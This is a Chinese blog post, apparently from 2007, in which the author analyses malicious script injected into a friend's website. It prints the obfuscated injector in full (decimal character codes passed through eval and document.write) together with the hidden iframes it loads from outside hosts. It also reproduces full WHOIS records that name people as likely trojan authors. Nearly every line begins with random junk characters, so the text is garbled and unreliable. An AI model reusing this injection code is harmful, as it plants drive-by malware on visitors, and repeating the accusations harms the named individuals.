首发在我的博客里面，
Bu?Qy z2O 8A::q ; http://www.areway.cn/?p=175 >#gDk K .N# KW vg"*%K$a 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
p=kt+H&; suFk<^3 <script>t=’60,105,102,114,97,109,101,
vCK+v
r! 32,115,114,99,61,104,116,116,112,58,47,47,
k{hNv|:, 102,114,101,101,46,117,45,117,117,117,46,99,
BnDCK@+|Q 110,47,101,114,114,111,114,46,104,116,109,
""_G4{ 32,119,105,100,116,104,61,49,48,48,32,104,
.yD
6$!6 101,105,103,104,116,61,48,62,60,47,105,102,
l]Ym)QP 114,97,109,101,62′;
5j0 Ib>\ t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
Fq
o h!F Gxxz4
<script>t=’60,105,102,114,97,109,101,32,115,
B(} 'yY@%u 114,99,61,104,116,116,112,58,47,47,102,114,
vM$hCV ~N 101,101,46,117,45,117,117,117,46,99,110,47,
>,_0Mem2Rr 101,114,114,111,114,46,104,116,109,32,119,
8$Zwk7 w8A 105,100,116,104,61,49,48,48,32,104,101,105,
m~P 30) 103,104,116,61,48,62,60,47,105,102,114,97,
=w"Kkj>%oh 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
/ ;[x3} [ document.write(t);</script>
c^puz2 &"27U <html xmlns=”
_V0%JE' http://www.w3.org/1999/xhtml D:z_FNN “>
R?tjobk! <head>
+ 660/ e8N <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
(ov&iNx <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
"!eq~/nk <title>首页 - 爱生活家庭网
`CBXz!v!O \j BA4?(S 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
0@y`iZ]
1S 转换字符串后的大概内容是（谁点击后果自付）：
Q00v(6V46 <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
:(" @U, nII#uI /!q 查询玉米u-uuu.cn的详细信息：
]w$cqUhM Domain Name: u-uuu.cn
\d]Y#j< ROID: 20070901s10001s64972306-cn
2m*/$GZ Domain Status: ok
BSJS4+,E Registrant Organization: 王雷
^SsnCn-e Registrant Name: 王雷
x
ju*zmu Administrative Email:
czlovexs@126.com gX(Xj@=(& Sponsoring Registrar: 北京万网志成科技有限公司
19pFNg'kA Name Server:ns.yovole.com
^K_FGE0ec Name Server:ns1.yovole.com
h;y}g /HZ Registration Date: 2007-09-01 17:54
Qe4 % A Expiration Date: 2008-09-01 17:54
'iOa j0f 最后PING了一下地址 都没有什么….
v"mZy,u s 1#A0%gx 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
bKzG5|Qu <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
D&G?Klq <script language=”javascript” src=”
Uq{$j5p8 http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script @#-\ BQ; >
-Lb7=98 这个玉米应该有可能是木马作者的：
i: jB foafau.info的详细信息：
Dsc0 ;7~6 Access to INFO WHOIS information is provided to assist persons in
njO~^Hl7 determining the contents of a domain name registration record in the
Yo=$@~vN] Afilias registry database. The data in this record is provided by
o~L(;A]yN Afilias Limited for informational purposes only, and Afilias does not
~Lg ;7i1L
guarantee its accuracy. This service is intended only for query-based
E`hR(UL
? access. You agree that you will use this data only for lawful purposes
euRKYGW and that, under no circumstances will you use this data to: (a) allow,
GRVF/hPn enable, or otherwise support the transmission by e-mail, telephone, or
BSB&zp facsimile of mass unsolicited, commercial advertising or solicitations
q bCU&G|) to entities other than the data recipient’s own existing customers; or
f1elzANy (b) enable high volume, automated, electronic processes that send
:PY6J}:&# queries or data to the systems of Registry Operator, a Registrar, or
1CSGG'J ]E Afilias except as reasonably necessary to register domain names or
]\oT({$6B modify existing registrations. All rights reserved. Afilias reserves
1;i|G XY:h the right to modify these terms at any time. By submitting this query,
4GG>n you agree to abide by this policy.
#n15_cd Domain ID:D22418703-LRMS
SD:`l <l Domain Name:FOAFAU.INFO
^q0`eS Created On:20-Nov-2007 16:05:42 UTC
4sRg+mMI Last Updated On:20-Nov-2007 16:05:44 UTC
}m%& |:PH Expiration Date:20-Nov-2008 16:05:42 UTC
$/5\Hg1 Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
eOkiB!G. Status:CLIENT DELETE PROHIBITED
nHQ *#&$ Status:CLIENT RENEW PROHIBITED
.XRe:\8mc Status:CLIENT TRANSFER PROHIBITED
i_l{#*t Status:CLIENT UPDATE PROHIBITED
F?6Q(mRl Status:TRANSFER PROHIBITED
(NDC9Lls Registrant ID:GODA-040110615
J4U_utp Registrant Name:liu hong
G51-C LM, Registrant Organization:
7/k7V) Registrant Street1:beijing
/"m#mh L Registrant Street2:
e>.^RtDF Registrant Street3:
|cp_V Registrant City:beijing
a#[gNT~[ Registrant State/Province:
BafNF Pc Registrant Postal Code:100000
2QEH!)lvr Registrant Country:CN
|%fNLUJ ) Registrant Phone:+86.860108888777
V"2 G Registrant Phone Ext.:
+RR6gAma}< Registrant FAX:
:RJo #ape Registrant FAX Ext.:
j6$@vA) Registrant Email:bbbshiji@163.com
_3wK: T{: Admin ID:GODA-240110615
b`j9}t Z Admin Name:liu hong
MLM/!N 7 Admin Organization:
$>uUn3hSx\ Admin Street1:beijing
$cwmfF2C Admin Street2:
!$ii*} Admin Street3:
=h
+SZXe<r Admin City:beijing
}Qe(6'l_ Admin State/Province:
A:2CP&* Admin Postal Code:100000
XqhrQU|wM Admin Country:CN
P>)J:. tr0 Admin Phone:+86.860108888777
r!e W]M Admin Phone Ext.:
8t, &dq Admin FAX:
RW1+y/#%P Admin FAX Ext.:
T5e#Ll/ Admin Email:bbbshiji@163.com
R^sgafGl= Billing ID:GODA-340110615
Z(t O]tQE Billing Name:liu hong
0 aI@m Billing Organization:
<Kr`R+Q$DN Billing Street1:beijing
ADB)-!$xoi Billing Street2:
.f. tPm Billing Street3:
nN@
Ch Billing City:beijing
E_[a|N"D Billing State/Province:
z 8%qCq Billing Postal Code:100000
gzH;`, Billing Country:CN
* a1q M? Billing Phone:+86.860108888777
`k8j FB C
Billing Phone Ext.:
BD}%RTeWKq Billing FAX:
NV?XZ[<*< Billing FAX Ext.:
-)Vy)hD, Billing Email:bbbshiji@163.com
ZqpK}I Tech ID:GODA-140110615
w`+-xT% Tech Name:liu hong
v*.iNA;&i Tech Organization:
<RbfW'<G Tech Street1:beijing
V? ) V2>] Tech Street2:
&+ PVY>q Tech Street3:
.3n\~Sn Tech City:beijing
i O? f&u Tech State/Province:
$UK m[:7 Tech Postal Code:100000
?$tD Tech Country:CN
L]"$d F Tech Phone:+86.860108888777
b\o> 4T Tech Phone Ext.:
< .e4 Tech FAX:
f#!nj]}# Tech FAX Ext.:
1q5S"=+W[ Tech Email:bbbshiji@163.com
Q8QB{*4 Name Server:NS27.DOMAINCONTROL.COM
0kls/^ 0, Name Server:NS28.DOMAINCONTROL.COM
$)PS#ND& Name Server:
|r?0!;bN0 Name Server:
P O0Od z Name Server:
m$(OQ,E Name Server:
Mw-L?j0o[k Name Server:
@2d9
7.X Name Server:
M.Tp)ig\# Name Server:
D To"{! Name Server:
- 'd`(G" Name Server:
+%Kk zdS' Name Server:
#Z
`Tk)u/ Name Server:
5WxNH}{ (a-Lx2 T 接着下载每个文件里面的代码：
qp#Euq6 一步一步看..
V51k X{S 
u;1[_ ~ 
YPq:z"`-y4 
.V0fbHYTJ 
G?\eO&QG{" 
s"w^E\ >6 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
